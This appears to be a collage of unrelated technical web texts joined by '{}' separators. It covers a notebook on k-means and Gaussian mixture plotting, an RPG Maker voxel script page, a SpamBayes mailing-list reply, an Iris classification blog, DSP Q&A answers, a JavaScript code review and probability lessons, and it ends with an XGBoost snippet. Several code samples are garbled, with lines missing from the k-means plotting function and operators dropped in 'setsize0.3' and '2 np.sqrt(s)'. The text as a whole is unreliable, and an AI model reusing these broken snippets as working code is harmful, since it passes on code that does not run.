k-means model is that it places a circle (or, in higher dimensions, a hyper-sphere) at the center of each cluster, with a radius defined by the most distant point in the cluster. This radius acts as a hard cutoff for cluster assignment within the training set: any point outside this circle is not considered a member of the cluster. -- [Jake VanderPlas Python Data Science Handbook] [1] In [16]: # k-means weaknesses that mixture models address directly # code sourced from: # http://nbviewer.jupyter.org/github/jakevdp/PythonDataScienceHandbook/blob/master/notebooks/05.12-Gaussian-Mixtures.ipynb from scipy.spatial.distance import cdist def plot_kmeans(kmeans, X, n_clusters=k, rseed=2, ax=None): labels = kmeans.fit_predict(X) # plot input data #ax = ax or plt.gca() # <-- nice trick fig, ax = plt.subplots(figsize=(9,7)) ax.axis('equal') ax.scatter(X[:, 0], X[:, 1], c=labels, s=dot_size, cmap=cmap, zorder=2) # plot the representation of Kmeans model centers = kmeans.cluster_centers_ for i, center in enumerate(centers)] for c, r in zip(centers, radii): lw=4, alpha=0.5, zorder=1)) return X3, y_true = make_blobs(n_samples = 400, centers = k, cluster_std = .6, random_state = random_state) X3 = X3[:, ::-1] # better plotting kmeans = KMeans(n_clusters=k, random_state=random_state) plot_kmeans(kmeans, X3) plt.title('Clusters are hard circular boundaries', fontsize=18, fontweight='demi') Out[16]: <matplotlib.text.Text at 0x7ff99738cc18> #### A resulting issue of K-Means' circular boundaries is that it has no way to account for oblong or elliptical clusters.¶ In [17]: rng = np.random.RandomState(13) X3_stretched = np.dot(X3, rng.randn(2, 2)) kmeans = KMeans(n_clusters=k, random_state=random_state) plot_kmeans(kmeans, X3_stretched) plt.title('Clusters cannot adjust to elliptical data structures', fontsize=18, fontweight='demi') Out[17]: <matplotlib.text.Text at 0x7ff997089550> ### There are two ways we can extend K-Means¶ 1. measure uncertainty in cluster assignments by comparing distances to all cluster centers 2. allow for flexibility in the shape of the cluster boundaries by using ellipses ### Recall our previous height example, and let's assume that each cluster is a Gaussian distribution!¶ #### Gaussian distributions give flexibility to the clustering, and the same basic two step E-M algorithm used in K-Means is applied here as well.¶ 1. Randomly initialize location and shape 2. Repeat until converged: E-step: for each point, find weights encoding the probability of membership in each cluster. M-step: for each cluster, update its location, normalization, and shape based on all data points, making use of the weights #### Note that because we still are using the E-M algorithm there is no guarantee of a globally optimal result. We can visualize the results of the model.¶ In [18]: # code sourced from: # http://nbviewer.jupyter.org/github/jakevdp/PythonDataScienceHandbook/blob/master/notebooks/05.12-Gaussian-Mixtures.ipynb from matplotlib.patches import Ellipse def draw_ellipse(position, covariance, ax=None, kwargs): """Draw an ellipse with a given position and covariance""" # Convert covariance to principal axes if covariance.shape == (2, 2): U, s, Vt = np.linalg.svd(covariance) angle = np.degrees(np.arctan2(U[1, 0], U[0, 0])) width, height = 2 np.sqrt(s) else: angle = 0 width, height = 2 * np.sqrt(covariance) # Draw the Ellipse for nsig in range(1, 4): ax.add_patch(Ellipse(position, nsig * width, nsig * height, angle, *kwargs)) def plot_gmm(gmm, X, label=True, ax=None): fig, ax = plt.subplots(figsize=(9,7)) ax = ax or plt.gca() labels = gmm.fit(X).predict(X) if label: ax.scatter(X[:, 0], X[:, 1], c=labels, s=dot_size, cmap=cmap, zorder=2) else: ax.scatter(X[:, 0], X[:, 1], s=dot_size, zorder=2) ax.axis('equal') w_factor = 0.2 / gmm.weights_.max() for pos, covar, w in zip(gmm.means_, gmm.covariances_, gmm.weights_): draw_ellipse(pos, covar, ax=ax, alpha=w w_factor) In [19]: gmm = mix.GaussianMixture(n_components=k, random_state=random_state) plot_gmm(gmm, X3)	{}
# Voxel-Style Pseudo 3D Script 2.0 Pokémon Essentials Version This is a script that renders Voxel-Style 'Models' inside RPG Maker XP. It uses stacked sprites to create the illusion of 3D. It has no perspective, no lighting, and no collision, but everyone on the Discord seemed to like it when I showed it off in my Pokémon x Starbound project. Please don't attempt to use this script if you have no programming knowledge. Introduction This script is based off a technique I've seen mainly in the GameMaker Studio community, which you can see in this tutorial for GameMaker Studio, this game made in GameMaker Studio and this video by Heartbeast for GameMaker Studio. I recently had the urge to port it over to RPG Maker XP, despite the fact that it would probably render any game unplayable. Surprisingly enough, it didn't, and I was able to still hit that 40FPS mark, even when rendering multiple 'models' at once. Screenshots These were achieved in standard RGSS, inside RPG Maker XP This was achieved using mkxp, an open source, faster implementation of RGSS. The script remains the same, however. Bonus video showing smooth rotation and movement of models. Installation To install, simply make a new script section above Main, paste the included script into it, then create a new folder inside 'Graphics' called '3D'. This is where you will store all of your model sheets. While not completely incompatible with vanilla XP projects, there are a few Essentials methods used in the script. Fixed in v1.1 Model Creation This can be really hard if you go about it in the wrong way, due to the way models are rendered in this system. A 'model' is actually just a sheet of sprites that are stacked on top of each other. You could just draw each frame by hand, but that's time-consuming. Instead, I'd use MagicaVoxel, a free Voxel editor. This allows you to actually see what your model will look like. Please make sure your model's width and depth are equal! The system will not work if you don't. Now, you can't just throw a .vox file into your game, since that's not how the system works. Instead, you have to use this tool to convert your .vox files to a spritesheet. To do this, place the vox2png.exe file into the same directory as your .vox model and open a command prompt in that directory. Once you have one open, type 'vox2png [name of input model] [name of output png]' into it. Now copy the image into 'Graphics/3D' in your XP project (create a 3D folder if you haven't already). Make sure the output file is a PNG file - the system will not work otherwise. Usage Instructions Using this script is similar to using plain old sprites, with a few differences. When making a new model object, the class name is Sprite3D. It takes one argument - a viewport. To set the spritesheet used to generate the model, use [sprite3D instance].model= Bitmap3D.new("path/to/bitmap") Most issues that were present with the old system are gone, except performance obviously, I can't fix that without some external help (e.g. a DLL that does all this for you), so remember, unless you like low framerates, do not use models larger than 48 frames. I can tell you from experience that it is a horrible idea. If you find any bugs, don't hesitate to tell me. Not that anyone will use this. Credits moppin and nemk - NIUM, the game which this effect is most famous for Heartbeast - 'GameMaker Studio 2 - 3D Racecar - Sprite Stacking' Tutorial video like, a hundred bears - 2d 3d in gamemaker studio ephtracy - MagicaVoxel Stijn Brouwer - vox2png Author sukoshijon 807 Views 807 First release Last update Rating 0 ratings	{}
# [SpamBayes] Moving database location ... question David Kirkup david.kirkup at gov.ab.ca Fri Sep 3 19:03:40 CEST 2004 Thank-you for the information about the data directory. I have not been able to find information on how to change the training pattern and you tell me how to find "train on mistakes" or "nonedge training" options. Can you assist me with this? David Kirkup Antivirus LAN/Server Analyst Alberta Corporate Service Centre Client Services Team Phone: (780) 644-4769 Fax: (780) 427-8327 david.kirkup at gov.ab.ca -----Original Message----- From: Tony Meyer [mailto:tameyer at ihug.co.nz] Sent: Sunday, June 06, 2004 8:21 PM To: David Kirkup; spambayes at python.org Subject: RE: [Spambayes] Moving database location ... question > I have noticed that the database gets very large. Note that this depends a lot on the training that you do. If you "train on everything" you'll end up with a much bigger database than "train on mistakes" or "nonedge training" (and the results will probably be not as good, either). > We use roaming profiles and would like to move the > database to a location in the profile that is designated > as non-roaming. Is this possible? Yes. Instructions can be found by doing SpamBayes->Help->About SpamBayes->Configuration Guide. They're down the bottom under "multiple configuration files". Basically, create a file called "default_configuration.ini" in either the directory SpamBayes was installed into, or the current data directory, and put in it: [General] data_directory=drive:\path\to\new\location =Tony Meyer ---	{}
# Machine Learning on Iris A post on the use of Machine Learning to classify the species of the iris flower Diwash Shrestha https://diwashrestha.com.np 09-18-2017 In this blog, we will use some machine learning concept with help of ScikitLearn a Machine Learning Package and Iris dataset which can be loaded from sci-kit learn. we will use numpy to work on the Iris dataset and Matplotlib for Visualization. Iris data set is a multivariate data set introduced by the British statistician and biologist Ronald Fisher in his 1936 paper. The use of multiple measurements in taxonomic problems as an example of linear discriminant analysis. The data set consists of 50 samples from each of three species of Iris: • Iris setosa • Iris virginica • Iris versicolor There are Four features or column about the flowe r. • Sepal length(cm) • Sepal Width(cm) • Petal Length(cm) • Petal Width(cm) Iris datasets are the basic Machine Learning data. The objective of this post is to find the species of Iris flower of test data using the trained model. we are using the Sklearn python package’s Decision tree. ## Import Library and module First, we will import the required library and module in the python console. In this machine learning we will use: • Numpy: which provides support for more efficient numerical computation • Pandas: a convenient library that supports data frames. • Matplotlib &Seaborne: for Visualization • ScikitLearn: Machine learning tools import numpy as np import matplotlib.pyplot as plt import seaborn as sns import pandas as pd from sklearn import tree from sklearn.model_selection import train_test_split from sklearn.metrics import accuracy_score from sklearn.externals import joblib ## Load Iris data Now, we will load the iris data from the seaborne’s builtin dataset and print first 5 rows as follow: print(iris.head()) sepal_length sepal_width petal_length petal_width species 5.1 3.5 1.4 0.2 setosa 4.9 3.0 1.4 0.2 setosa 4.7 3.2 1.3 0.2 setosa 4.6 3.1 1.5 0.2 setosa 5.0 3.6 1.4 0.2 setosa Lets look at the data print (iris.shape) #(150, 5) we have 150 samples and 5 features, including our target feature. we can easily print some summary statistics. print(iris.describe()) sepal_length sepal_width petal_length petal_width count 150.000000 150.000000 150.000000 150.000000 mean 5.843333 3.057333 3.758000 1.199333 std 0.828066 0.435866 1.765298 0.762238 min 4.300000 2.000000 1.000000 0.100000 25% 5.100000 2.800000 1.600000 0.300000 50% 5.800000 3.000000 4.350000 1.300000 75% 6.400000 3.300000 5.100000 1.800000 max 7.900000 4.400000 6.900000 2.500000 The list of the features are : • sepal length • sepal width • petal length • petal width ## Split data into training and test sets we split the data into training and test sets at the beginning of modelling workflow. Splitting is crucial for getting a realistic estimate of the model’s performance. First, let’s separate our target (y) features from our input (X) features: y = iris.species X = iris.drop('species',axis=1) Now we use the Scikit learn train_test_split function: from sklearn.model_selection import train_test_split X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=100, stratify=y) we’ll set aside 30% of the data as a test set for evaluating the model. we also set an arbitrary “random state” so that the program can reproduce our results. ## Visualization Now we will plot the graph to understand the features and the species in data.we are using seaborne and matplotlib to make these graph plots. sns.set(style="ticks") sns.pairplot(iris, hue="species",palette="bright") plt.show() The above graph is scatterplot which is plotted between four features of iris in 12 different plots. In the above picture, we can see the samples formed clusters according to their species. In next graph, we will plot the 4 features of 3 iris species in barplot: piris = pd.melt(iris, "species", var_name="measurement") sns.factorplot(x="measurement", y="value", hue="species", data=piris, size=7, kind="bar",palette="bright") plt.show() print(piris.head()) species measurement value setosa sepal_length 5.1 setosa sepal_length 4.9 setosa sepal_length 4.7 setosa sepal_length 4.6 setosa sepal_length 5.0 In the above code, we made a new variable piris to make the visualization easier. This picture shows how three species of iris differ on the basis of the four features. ## Decision tree Decision tree algorithm is a simple supervised learning algorithm which is used in regression and classification problems. we will make Decision Tree classifier and fit training data (X_train and y_train) to train the model. clf = tree.DecisionTreeClassifier() clf.fit(X_train,y_train) DecisionTreeClassifier(class_we ight=None, criterion='gini', max_depth=None, max_features=None, max_leaf_nodes=None, min_impurity_split=1e-07, min_samples_leaf=1, min_samples_split=2, min_we ight_fraction_leaf=0.0, presort=False, random_state=None, splitter='best') After fitting the training data the Decision_tree classifier makes a tree using which classifier will classify the species of test data. The Decision Tree can be created as below. from sklearn.datasets import load_iris special_characters=True)	{}
# Tag Info 0 What could the cause of this trend be? System bias or something else? Most mechanical systems are low-pass, i.e. they let through less energy at higher frequencies. That would be perfectly plausible, but I don't know what you're observing. Of course, your accelerometer is inherently frequency-selective, too, and you might need to calibrate it, together with ... 0 I suppose that the $n$ points (hereafter, the chunk) precisely divide the base period (which you don't know yet) evenly. You are lucky. You can verify that by concatenating the $n$ discrete samples (or possibly $n-1$ consecutive ones) by an integer number $K$ of (periodic) repetitions (copy-paste, several times, hereafter the chain), with $Kn\ge m$ (or $... 0 The @LaurentDuval is right. The MATLAB's dualtree3 function returns all detail and approximation subbands which are expected when performing 3D dual-tree complex wavelet transform (cplxdual3D). However, instead of returning separate approximation subbands, dualtree3 function groups them all in a single cube. In the following, I explain it by using both ... 0 Here$y^T H x$is a scalar. So as a matrix of dimensions$1 \times 1$, it is equal to its transpose: $$(y^T H x)^T = x^TH^T(y^T)^T= x^TH^Ty$$ 1 Indeed since both expressions are scalars then they are equal to each other since the transpose of a scalar is the same scalar. See in MATLAB as an example (Calculating$ {x}^{T} H y $and$ {y}^{T} {H}^{T} x $: >> vX = randn(10, 1); >> vY = randn(10, 1); >> mH = randn(10, 10); >> vX.' * mH.' * vY ans = -0.8618 >> vY.' * mH * ... 1 TL,DR: the low-pass component (approximation coefficients, a) has a size bigger than expected ($2^3$times). So I guess that the 8 avatars of the approximation subbands are gathered into one. First, I did not take enough time to check the codes, so this may be a partial answer. While performing a dualtree3 decomposition: zr = rand(64,64,64); [a,d] = ... 0 Since your window is not centered, you receive a shift of half-length of the chosen window. 1 rectangularPulse() and triangularPulse() are built-in functions that can also do this. 0 Based on the blog post - The Paint Bucket in Paint.Net 4.0 (Video) I can tell it uses some edge detection to handle similar colors within a piece wise smooth area. More information is given in the Paint Bucket Tool documentation. Usually the way it can be implemented is by defining color metric. How far a color is form another color. If it within the ... 1 Prof. Nick Kingsbury kindly provide an answer to my question!. In 1-D, the lowpass basis functions (scaling functions) from the two trees (a) and (b) of the dual tree WT tend to look very similar to each other, apart from a shift of half the output sample period between them. Hence it usually makes most sense to regard the two sets of lowpass samples as ... 0 In general: 1.) The real values are the magnitudes and the imaginary values are the phase. Phase is typically ignored when plotting a spectrogram. 2.) The best values for overlap and windowsize are made on a case-by-case basis and really depends on what you're looking for. Overlap is usually measured in percent and window is usually measured in samples so it'... 2 See the MATLAB documentation: s = spectrogram(x) returns the short-time Fourier transform of the input signal, x. Each column of s contains an estimate of the short-term, time-localized frequency content of x.. Namely each column of the matrix s is the result of an fft() on some samples of the input. So the plot you see is the magnitude of the columns of s. ... 1 Pay attention that by default MATLAB use DCT Type II hence the inverse is basically DCT Type III: vX = [1 + 1i; 1 - 1i; -1 + 1i; 1 + 1i]; %Assume N = 4 vY = dct(vX); mD = dctmtx(length(vX)); vYY = mD * vX; vYY ./ vY max(abs(vY - vYY)) vY = idct(vX); vYY = mD.' * vX; vYY ./ vY max(abs(vY - vYY)) The result: ans = 1.0000 + 0.0000i 1.0000 + 0.... 0 It seems that the confusion occurs due to you wanting to visualize the 4 GHz chirp itself versus the beat frequency signal that is yielded after mixing, which is what is ultimately used for detection in FMCW radars. These are two different signals! This is why the 2 MHz sampling rate does not work: it is much much lower than what the minimum requirement is ... 1 filtfilt() applies forwards, then backwards filtering using any iir filter you feed it. As such, it only applies to finite length file processing, not realtime stream processing. fir1 is a method to design fir filters that can subsequently be applied using filter, conv or (unusually) filtfilt. 1 Why not using the tsa in Matlab ? 0 By looking at the table, it seems to me that the sampling rate is$2 \text{ MHz}$. I came to that from$\frac{\text{Samples Per Chirp}}{\text{Chirp Duration}}$, which also matches up with what I expected that this is what the paper calls the "Fast Time Axis sampling rate". They may also show results for a$4 \text{ MHz}$setup as well, see this ... 0 Okay, I don't use MATLAB, but I think this Python example represents what you may be asking. import numpy as np A = 3 + 4j k = 5 N = 128 Z = np.zeros(N, dtype='complex') Z[k] = A Z[N-k] = np.conj( A ) z = np.fft.ifft(Z) print( z ) This will generate a real valued pure tone (all the imaginary values are zero to the limit of precision) signal with 5 ... 2 Similar to The Concepts Behind SVD Based Image Processing the horizontal axis are the samples index of the SVD basis. The idea in the chapter you linked is generalizing the Wiener Filter. While the Wiener Filter uses the Fourier Transform as a basis the SVD uses the data adaptive basis. 1 You may think on the SVD as a generalization of the Discrete Fourier Transform. Namely, it is generates an orthogonal basis to represent the data. The nice thing about it, it generates the basis according to data (Where the Discrete Fourier Transform basis is the same for any data). Just like the Fourier Spectrum, you have the "Energy" - The ... 0 You can possibly generate the C++ code from the Faust DSP and start from there? Possibly by copy/paste the DSP code in the Faust Web IDE (https://faustide.grame.fr/) and export in C++: The IDE shows the SVG for the signal flow digram: 0 The plane at infinity has to be calculated as following: function plane = computePlaneAtInfinity(P, K) %Input % P - Projection matrices % K - Approximate Values of Intrinsics % %Output % plane - coordinate of plane at infinity % Compute the DIAC W^-1 W_invert = K * K'; % Construct Symbolic Variables to Solve for Plane at Infinity % X,Y,Z is the ... 1 Direct conversion from magnitude to dB is done by$20\text{log}_{10}\big(\|x\|\big)$. I will highlight the parallel to Hilmar's answer by saying that the conversion from power to dB is done by$10\text{log}_{10}\big(\|x\|^2\big)$, so by following Hilmar you do$10\text{log}_{10}\big(xx^\big)=10\text{log}_{10}\big(\|x\|^2 \big)$which can be simplified to$20\text{... 1 valueInDB = 10log10(magnitude.*conj(magnitude)); 1 If you have no prior data on the signal of interest there is nothing to do actually. The more prior you have the better you can do. For instance, if the only information you have is the Bandwidth of your signal, the best you can do is apply an Band Pass / Low Pass Filter. If you know a sparse representation of your signal it will be great, as you can remove ... 0 Your question is vague for me. I understand that you want to make a convolution on an received OFDM signal to synchronize right? OFDM signal is demodulated through an FFT. Usually FFT size is a power of 2 (128,256,512,etc...). To demodulate FFT symbols cleanly, they must be synchronized (beginning symbol is found) Your OFDM waveform has probably a preamble, ... 0 Yes, when we can recover OFDM in fading scenarios along with gaussian noise, then yes we can also recover it in just gaussian noise. You can think of fading coefficients having a magnitude of 1 and phase zero Top 50 recent answers are included	{}
# JavaScript dynamic <script> creation I've been focusing on my PHP skills lately but have been shifting to JavaScript. I'm familiar with the bare-bone basics of jQuery. I'm not as familiar with JavaScript as I'd like to be. I'm a solo-developer so I'd just like somebody to take a look at this and point out any mistakes or things I could be doing better. What the code does Creates an arbitrary number of <script> elements, assigns a type and src attribute to each one and then inserts that <script> element before the </body>. The code See Better Code below! function async_init() { var element, type, src; var parent = document.getElementsByTagName('body'); var cdn = new Array; cdn[0] = 'http://code.jquery.com/jquery-1.6.2.js'; for (var i in cdn) { element = document.createElement('script'); type = document.createAttribute('type'); src = document.createAttribute('src'); type.nodeValue = 'text/javascript'; src.nodeValue = cdn[i]; element.setAttributeNode(type); element.setAttributeNode(src); document.body.insertBefore(element, parent); } } Right now the code is working, which is great. But my questions: 1. Is this the "best" way to do this? I define best as optimum user experience and efficient code. 2. Are there any obvious "noobie" flaws in my JavaScript? 3. Is there anyway I could get the onload attribute out of the body? I used Mozilla Developer Network as my JavaScript reference. If there are any other references that are accurate, documented & useful I would love to have more information. Thanks for checking the code out and your feedback, even if its pointing out how my code sucks! Better code after critique function async_init() { var element; var cdn = new Array; cdn[0] = 'http://code.jquery.com/jquery-1.6.2.js'; for (var i in cdn) { element = document.createElement('script'); element.setAttribute('type', 'text/javascript'); element.setAttribute('src', cdn[i]); document.body.appendChild(element); } } • I believe no harm would be done were you to call setAttribute directly on element rather than creating explicit attribute nodes. It'd make the code ever so much less bulky. Jul 3 '11 at 23:26 • @Kerrek Thanks for the tip. I thought that was a little too much code for an attribute. Making some changes... Jul 3 '11 at 23:34 • Oh, no onload, please. Always use addEventListener -- though you can only call that once the DOM has been created, so slingshoot it through an initialization function. Jul 3 '11 at 23:37 • @KerrekSB, there's nothing wrong with the use of the onload attribute via the body. It's actually far more stable than addEventListener, which falls flat in IE < 8. – null Jul 4 '11 at 0:07 You've erred many times in the above code. However, that means you get to learn a lot about how to properly interact with the DOM. In many instances, there are built-ins that quickly and efficiently get the job done. First off, you're incorrectly accessing the body. document.body is a well-supported reference to the body that's been around since at least DOM Level 1. Secondly, you're taking the hard route towards creating an array. In his book, "JavaScript: The Good Parts", Douglas Crockford insists on using literals instead of constructors. In this case, an array literal is []. This is an easier way of calling new Array(). Thirdly, you're incorrectly iterating over the cdn array with a for...in loop instead of a for loop. A for...in loop is meant for objects as it iterates over the properties of an object. Not only is it slower than a normal for loop, but it also is very susceptible to prototype modification. For example, try running this code with a build of MooTools (jsFiddle has one enabled by default): for(var key in []) { console.log(key); } You'll get a ton of hits because MooTools modifies the Array prototype. You'd have to do a hasOwnProperty check for each property just to avoid those pitfalls. Avoid for...in on anything but objects. Next, declaring the i variable inside of the for...in loop gives the illusion of block scope. This isn't the case, since i is available anywhere in the function after it's been defined. Only functions have scope in JavaScript. Here are Crockford's thoughts via "...The Good Parts" (page 102): In most languages, it is generally best to declare variables at the first site of use. That turns out to be a bad practice in JavaScript because it does not have block scope. It is better to declare all variables at the top of each function. Finally, setting the attributes for each script tag isn't necessary. Since you're already interacting with the DOM, setting their cousin, the DOM property is a better idea. The DOM provides shortcuts to node properties and is more stable than setting attributes. get/set/removeAttribute all have the unfortunate shortcoming of being very weird in various Internet Explorer builds. They're best avoided unless completely necessary. Fixed + optimized: function async_init() { var element; var parent = document.body; var i = 0, file; for (i;i<cdn.length;i++) { file = cdn[i]; element = document.createElement("script"); element.type = "text/javascript"; element.src = file; parent.appendChild(element); //free file's value file = null; } /* * Cleanup at end of function, which isn't necessary unless lots of memory is being * used up. * No point nulling a Number, however. In some ECMAScript implementations * (ActionScript 3), this throws a warning. */ //empty array cdn.splice(0, cdn.length); //clear variable values element = null; parent = null; cdn = null; } Also note that since you're adding these scripts asynchronously, there's no stable way to detect when the file has loaded, short of a script loader or a timer (my opinion is neither are stable). An alternative is to use document.write to append these scripts synchonously. However, you'll have to use a DOMString and escape the forward slash in the script's end tag. This will append it to the end of the body tag. Example: document.write("<script type=\"text/javascript\" src=\"\"><\/script>"); Note that the backslash character (\) escapes characters in JavaScript. I've used it to escape the double quotes for each attribute along with the forward slash in the end tag. If you have any more questions regarding JavaScript or the DOM, feel free to ask in the comments. -Matt Looking good. You may want to look into some of the async loading options of the script tag documentation, as this may be an easier way to accomplish what you are trying to do. My main thought, though, was you had some extra variables and scoping around building the script element, and that it stands on its own pretty well. To me, this smelled like a separate function: function async_init() {	{}
### Archive Archive for the ‘Probability’ Category ## Questions: Probability And and OR A bag contains 4 gold(G) balls and 7 silver(S) balls. A ball is taken out its colour is noted and then it is put back. Then this is repeated a second time. What is the: $P(G,G)$ $P(S,S)$ $P(\mbox{exactly one G})$ You have a biased die. From a single roll the P(3)=0.1 and P(5)=0.4. If the die is rolled twice what is the: $P(3,3)$ $P(5,5)$ $P(\overline{3},\overline{3})$ $P(\mbox{exactly one 5})$ Becky wakes up one morning and is really tired and does not want to open her eyes. In her draw she has 5 white(W) socks and 9 blue polka(P) dot socks, the two odd ones have gone to that place where all odd socks go. She takes out a sock and puts it on and then takes out another to place on the other foot. What is the: $P(W then P)$ $P(P then W)$ $P(pair)$ Nicola and Louise are playing a very dangerous game and it is winner takes all. In a bag there are 5 chocolates, 4 are praline flavour and 1 is a disgusting orange flavour. To look at they are identical. Whoever eats the orange chocolate loses. Nicola is to take the first two chocolates and louise is to take the next two. What is the: P(Nicola looses) P(Its a draw) P(Louise looses) Categories: Probability ## Probability: An event not happening Consider the situation of a bag with 3 gold(G) balls and 2 silver(S) balls. What is: • P(G)? • P(not G)? $P(G)=\frac{3}{5}$, 3 gold balls and 5 balls in total. $P(\text{not }G)=\frac{2}{5}$, 2 not gold (silver) balls and 5 balls altogether. The important point to notice here is that the number of gold balls + number of not gold balls is equal to the total number of balls. $\implies P(\text{not }A)=1-P(A)$ #### Notation We can write P(not A) as $P(\overline{A})$, where the over bar means not. Examples If the $P(A)=0.7$, what is $P(\overline{A})$? $P(\overline{A})=1-P(A)=1-0.7=0.3$ If the $P(win)=15\%$, what is $P(\overline{win})$ $P(\overline{win})=100\%-P(A)=100\%-15\%=85\%$ If the $P(blue)=\frac{4}{15}$, what is $P(\overline{blue})$ $P(\overline{blue})=1-P(blue)=1-\frac{4}{15}=\frac{11}{15}$ Categories: Probability ## Probability: AND & OR rule ### The ‘OR’ rule The ‘OR’ rule states $P(A\text{ or } B)=P(A)+P(B)$ This makes sense since the number of successes(NoS) = (NOS of A) + (NoS of B) The number of outcomes has not changed. So $P(A\mbox{ or } B)=\frac{\mbox{(NOS of A) + (NoS of B)}}{\mbox{possible outcomes}}=\frac{\mbox{(NOS of A)}}{\mbox{possible outcomes}}+\frac{\mbox{(NOS of A)}}{\mbox{possible outcomes}}$ $\implies P(A\mbox{ or } B)=P(A)+P(B)$ Examples A bag contains a red ball, 5 blue ball and 4 green balls. 1) P(red) 2) P(blue) 3) P(green) 4) P(red or green) 5) P(red or green or blue) 1) $P(red)=\frac{1}{10}$ 2) $P(blue)=\frac{5}{10}$ 3) $P(green)=\frac{4}{10}$ 4) $P(\mbox{red or green})=P(red)+P(green)=\frac{1}{10}+\frac{4}{10}=\frac{5}{10}$ 5) $P(\mbox{red or green or blue})=P(red)+P(green)+(blue)=\frac{1}{10}+\frac{4}{10}+\frac{5}{10}=1$ ### The ‘AND’ rule Here we are considering the probability of something happening and then something else happening. Let’s consider a die rolled twice. What is the P(two sixes)? Well we will get a ‘6’ $\frac{1}{6}$ of the time. Of these times we will get another ‘6’ $\frac{1}{6}$ of the time. So $P(\mbox{two sixes})=\frac{1}{6}\text { of }\frac{1}{6}=\frac{1}{6}\times \frac{1}{6}=\frac{1}{36}$ So $P(\mbox{A and B})=P(A)\times P(B)$ Examples A bag contains 4 red(R) balls and 3 black(B) balls. I take out a ball, look at it and then put it back. I then take out another ball and record its colour. What is the: 1. P(R,R) $\rightarrow$ means getting two reds. 2. P(R then B) 3. P(R,B) $\rightarrow$ means getting a red and blue in any order. i.e. red then blue or blue then red $P(R)=\frac{4}{7}$ $P(B)=\frac{3}{7}$ So $P(R,R)=\frac{4}{7} \times\frac{4}{7} =\frac{16}{49}$ $P(\mbox{R then B})=\frac{4}{7}\times \frac{3}{7}=\frac{12}{49}$ $P(\mbox{R, B})=P(\mbox{R then B}) + P(\mbox{B then R})$ $P(\mbox{B then R})=\frac{3}{7}\times \frac{4}{7}=\frac{12}{49}$ $P(R,B)=\frac{12}{49}+\frac{12}{49}=\frac{24}{49}$ #### Questions Categories: Probability ## Questions: Equilikely outcomes 1. Freya has a bag with 3 red balls and 2 green balls. A ball is taken out and its colour is recorded. What is P(red)? The ball she took out was red. Freya keeps the ball, she thinks it is lucky. What is the probability that the next ball is red as well? The ball she took out was green. Freya didn’t like this ball, it reminded her of custard, so she flushed it down the toilet. What is the probability the next ball is red? 2. Inhoo was watching butterflies landing on a flower in a garden. There were 7 white butterflies (Inhoo’s favourite) and 3 red butterflies. What is the probability that the next butterfly to land on a flower is a white one? In fact a red butterfly landed on the flower. Inhoo was so angry set caught the butterfly and threw it in a nearby spiders web. What is the probability that the next butterfly to land on a flower is a white one? Again a red butterfly landed on the flower. Inhoo almost cried, but she gathered herself together, caught the butterfly and put it in a jar. What is the probability that the next butterfly to land on a flower is a white one? Yet again a red butterfly landed on the flower. This time Inhoo took no chances, she caught the butterfly and ate it there and then. What is the probability that the next butterfly to land on a flower is a white one? 3. From a pack of cards what is: P(black)? P(king)? P(2 or 3)? P(red ace)? 4. Lydia has a set of cards. On them she has either drawn a heart or a dagger. She has drawn 6 daggers. If $P(\text{dagger})=\frac{2}{5})$, how many hearts did she draw? Categories: Probability ## Probability: Equilikely outcomes The probability of an event happening is how likely it is to happen or how frequently it happens. In a perfectly fair world if a die was thrown a five would come up every six throws. That means that the probability of getting a 5 = $\frac{1}{6}$. Generally the probability of something happening $=\frac{\text{possible successes}}{\text{possible outcomes}}$ #### Notation The probability of A happening can be written as P(A). So P(red) could be what is the probability of getting red? Examples What is the probability of rolling a 3 with a die? There is 1 possible success (getting 3) There are 6 possible outcomes (1, 2, 3, 4, 5 or 6) So $P(3)=\frac{1}{6}$ When rolling a die what is the probability of getting a square number?There are 2 possible successes (1 or 4)There are 6 possible outcomes (1, 2, 3, 4, 5 or 6) So $P(\text{square})=\frac{2}{6}=\frac{1}{3}$ When playing cards what is the probability of getting a red heart?There are 13 possible successes (13 hearts)There are 52 possible outcomes (52 cards in total) So $P(\text{heart})=\frac{13}{52}=\frac{1}{2}$ A bag contains 5 red discs and 7 blue discs.I take out a red disc and keep it. What is the probability the next disc is also red?There are 4 successes (there are only 4 red discs left as we have taken one our already) There are 11 possible outcomes (there are only 11 discs left now) So $P(\text{red})=\frac{4}{11}$ Important note: Probabilities can only be given as fractions, decimals or percentages Questions Categories: Probability	{}
Figure Source Our use-case is to use C2Numpy inside ROOT and the process the classification problem of particles by using Xgboost and pandas. Our data set basically has 6 kinematic variables (like jet pt and dilepton mass etc.) Then a label set telling us from monte carlo is the particle is sourced from interesting process or not (also we have a weight array, because events come from Monte Carlo need to be weighted). Assume we prepared these accordingly in .npy files, we can then load and put data intu Pandas.DataFrame: xfiles= glob.glob("./xdata_.npy") xfiles.sort() yfiles= glob.glob("./ydata_.npy") yfiles.sort() xarrays = [np.load(f) for f in xfiles] rawdata= np.concatenate(xarrays) yarrays = [np.load(f) for f in yfiles] rawydata= np.concatenate(yarrays) dfx = pd.DataFrame(rawdata) dfy = pd.DataFrame(rawydata) setsize = rawydata.shape[0] Then, we want to shuffle the data. Here, not to wrecked by np.random.seed, you want to generate a permutation list according to length of data set first. perm = np.random.permutation(setsize) dfx = dfx.iloc[perm] dfy = dfy.iloc[perm] And then you may need to extract/drop rows (for us, the weight row) for separate use in XGboost: weight = dfx['weight'] dfx= dfx.drop('weight',axis=1) # separate into train and test set weight_test= weight.tail(int(setsize0.3)) testx = dfx.tail(int(setsize0.3)) trainy = binaryy[:int(setsize0.7)] testy = binaryy[-int(setsize0.3):] And then you're basically free to go! dtrain = xgb.DMatrix(trainx.values, label=trainy, weight=np.abs(weight_train.values)) dtest = xgb.DMatrix(testx.values, label=testy, weight=np.abs(weight_test.values)) evallist = [(dtest,'eval'), (dtrain,'train')] num_round = 700 param = {} param['objective'] = 'binary:logistic' param['eta'] = 0.05 param['max_depth'] = 4 param['silent'] = 1	{}
